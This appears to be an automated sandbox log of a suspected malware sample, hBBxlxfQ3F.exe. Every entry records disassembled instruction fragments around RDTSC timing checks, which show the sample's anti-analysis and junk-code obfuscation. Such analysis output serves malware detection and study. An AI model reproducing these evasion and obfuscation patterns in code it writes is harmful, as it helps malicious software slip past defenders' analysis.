Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D78560 second address: D7856D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7856D second address: D78574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7A0FA second address: D7A14D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D1C18h], esi 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F4010E98D48h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 xor edi, dword ptr [ebp+122D5B0Ah] 0x00000036 mov esi, ebx 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7A945 second address: D7A949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7A949 second address: D7A953 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7C198 second address: D7C19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7C19D second address: D7C1EB instructions: 0x00000000 rdtsc 0x00000002 js 00007F4010E98D4Ch 0x00000008 jg 00007F4010E98D46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 pushad 0x00000012 mov edi, dword ptr [ebp+122D3779h] 0x00000018 popad 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F4010E98D48h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 and esi, 147902B9h 0x0000003b push 00000000h 0x0000003d push eax 0x0000003e push edi 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7C1EB second address: D7C1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7C1EF second address: D7C1F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7BFD2 second address: D7BFD7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7CB49 second address: D7CB53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F4010E98D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7CB53 second address: D7CB74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7E509 second address: D7E50F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7E50F second address: D7E515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7F67A second address: D7F6D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F4010E98D46h 0x00000009 jmp 00007F4010E98D4Ah 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 jmp 00007F4010E98D53h 0x0000001b sbb ebx, 0EE0BF61h 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007F4010E98D48h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 00000014h 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 push edi 0x00000041 ja 00007F4010E98D46h 0x00000047 pop edi 0x00000048 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8161C second address: D81634 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D81634 second address: D8163D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8163D second address: D816AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F4010EA3D78h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov edi, dword ptr [ebp+122D3B57h] 0x00000029 push 00000000h 0x0000002b movzx edi, ax 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007F4010EA3D78h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a movzx ebx, bx 0x0000004d xchg eax, esi 0x0000004e pushad 0x0000004f jp 00007F4010EA3D78h 0x00000055 push eax 0x00000056 push edx 0x00000057 push ecx 0x00000058 pop ecx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D816AA second address: D816BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jo 00007F4010E98D46h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D81816 second address: D8181A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8181A second address: D8181E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8181E second address: D81824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D81824 second address: D8189F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F4010E98D4Fh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jnp 00007F4010E98D46h 0x00000014 pop edi 0x00000015 pop edx 0x00000016 nop 0x00000017 mov bx, dx 0x0000001a push dword ptr fs:[00000000h] 0x00000021 mov edi, edx 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a movsx edi, bx 0x0000002d mov dword ptr [ebp+122D1C79h], esi 0x00000033 mov eax, dword ptr [ebp+122D1705h] 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c call 00007F4010E98D48h 0x00000041 pop eax 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 add dword ptr [esp+04h], 0000001Dh 0x0000004e inc eax 0x0000004f push eax 0x00000050 ret 0x00000051 pop eax 0x00000052 ret 0x00000053 sub dword ptr [ebp+122D197Ch], ecx 0x00000059 push FFFFFFFFh 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 jns 00007F4010E98D46h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8189F second address: D818A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D818A3 second address: D818A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D835C4 second address: D835CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D835CB second address: D83645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F4010E98D48h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov bx, di 0x00000027 push 00000000h 0x00000029 xor ebx, 78C53FF5h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F4010E98D48h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 0000001Ah 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b mov ebx, 2E71433Ah 0x00000050 mov edi, dword ptr [ebp+122D1956h] 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F4010E98D55h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D83645 second address: D8364B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D846B3 second address: D846C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F4010E98D46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D846C3 second address: D846C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D846C9 second address: D846CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D846CF second address: D846D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D846D3 second address: D8473E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F4010E98D48h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov bh, 14h 0x00000029 sbb bx, 67F3h 0x0000002e push 00000000h 0x00000030 jnl 00007F4010E98D4Ch 0x00000036 mov edi, dword ptr [ebp+122D3C63h] 0x0000003c push 00000000h 0x0000003e mov dword ptr [ebp+1246456Bh], edi 0x00000044 xchg eax, esi 0x00000045 jns 00007F4010E98D66h 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F4010E98D54h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8473E second address: D84753 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4010EA3D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F4010EA3D78h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D85889 second address: D8588D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D867AF second address: D8684F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4010EA3D82h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+1246257Ch], ecx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F4010EA3D78h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov edi, dword ptr [ebp+122D3B6Bh] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007F4010EA3D78h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000015h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f add dword ptr [ebp+122D198Ch], ebx 0x00000055 mov edi, dword ptr [ebp+122D3BB3h] 0x0000005b xchg eax, esi 0x0000005c je 00007F4010EA3D82h 0x00000062 jnl 00007F4010EA3D7Ch 0x00000068 push eax 0x00000069 pushad 0x0000006a jnp 00007F4010EA3D84h 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8684F second address: D86853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D86853 second address: D86857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8883C second address: D888F5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D3C27h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F4010E98D48h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e jnc 00007F4010E98D4Ch 0x00000034 call 00007F4010E98D4Dh 0x00000039 sub ebx, 065A829Bh 0x0000003f pop edi 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push ecx 0x00000045 call 00007F4010E98D48h 0x0000004a pop ecx 0x0000004b mov dword ptr [esp+04h], ecx 0x0000004f add dword ptr [esp+04h], 00000018h 0x00000057 inc ecx 0x00000058 push ecx 0x00000059 ret 0x0000005a pop ecx 0x0000005b ret 0x0000005c xchg eax, esi 0x0000005d pushad 0x0000005e pushad 0x0000005f push ebx 0x00000060 pop ebx 0x00000061 jmp 00007F4010E98D4Ah 0x00000066 popad 0x00000067 jmp 00007F4010E98D56h 0x0000006c popad 0x0000006d push eax 0x0000006e jng 00007F4010E98D61h 0x00000074 push eax 0x00000075 push edx 0x00000076 jmp 00007F4010E98D53h 0x0000007b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8A747 second address: D8A74C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D87A5A second address: D87A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D87A5E second address: D87A64 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D87A64 second address: D87A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4010E98D50h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D88A3F second address: D88A45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D87A78 second address: D87A7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D869AE second address: D86A25 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, esi 0x00000009 push dword ptr fs:[00000000h] 0x00000010 movzx edi, ax 0x00000013 mov dword ptr fs:[00000000h], esp 0x0000001a jp 00007F4010EA3D76h 0x00000020 mov eax, dword ptr [ebp+122D0565h] 0x00000026 sub edi, dword ptr [ebp+122D3C5Fh] 0x0000002c mov ebx, dword ptr [ebp+122D39BFh] 0x00000032 push FFFFFFFFh 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007F4010EA3D78h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e call 00007F4010EA3D7Ah 0x00000053 mov dword ptr [ebp+122D1C6Bh], eax 0x00000059 pop edi 0x0000005a mov dword ptr [ebp+122D19AAh], edi 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push edx 0x00000064 jne 00007F4010EA3D76h 0x0000006a pop edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8BD07 second address: D8BD0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D88A45 second address: D88A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D86A25 second address: D86A2A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D87A7C second address: D87A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D88A49 second address: D88A6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4010E98D4Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8BD0B second address: D8BD11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8BD11 second address: D8BDA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4010E98D55h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 and bx, 18C8h 0x00000015 clc 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+122D1BFBh], eax 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007F4010E98D48h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a add ebx, dword ptr [ebp+1248EFFEh] 0x00000040 xchg eax, esi 0x00000041 push eax 0x00000042 jmp 00007F4010E98D57h 0x00000047 pop eax 0x00000048 push eax 0x00000049 pushad 0x0000004a js 00007F4010E98D5Fh 0x00000050 jmp 00007F4010E98D59h 0x00000055 pushad 0x00000056 push ecx 0x00000057 pop ecx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D88A6A second address: D88AF1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4010EA3D78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov ebx, dword ptr [ebp+122D1963h] 0x00000011 push edx 0x00000012 mov ebx, ecx 0x00000014 pop ebx 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F4010EA3D78h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 push edi 0x00000037 stc 0x00000038 pop ebx 0x00000039 add ebx, dword ptr [ebp+1245D3D8h] 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 jmp 00007F4010EA3D7Dh 0x0000004b mov eax, dword ptr [ebp+122D0575h] 0x00000051 and di, 6D17h 0x00000056 push FFFFFFFFh 0x00000058 mov di, si 0x0000005b nop 0x0000005c pushad 0x0000005d jmp 00007F4010EA3D83h 0x00000062 push edi 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D88AF1 second address: D88B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4010E98D4Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8BF1B second address: D8BF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8BF1F second address: D8BF23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8CFB9 second address: D8CFC7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8CFC7 second address: D8CFE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8D091 second address: D8D097 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8D097 second address: D8D09B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8EF34 second address: D8EF48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010EA3D7Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8EF48 second address: D8EF4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D8E02F second address: D8E033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D937B6 second address: D937BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D937BA second address: D937D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F4010EA3D7Ch 0x00000010 rdtsc
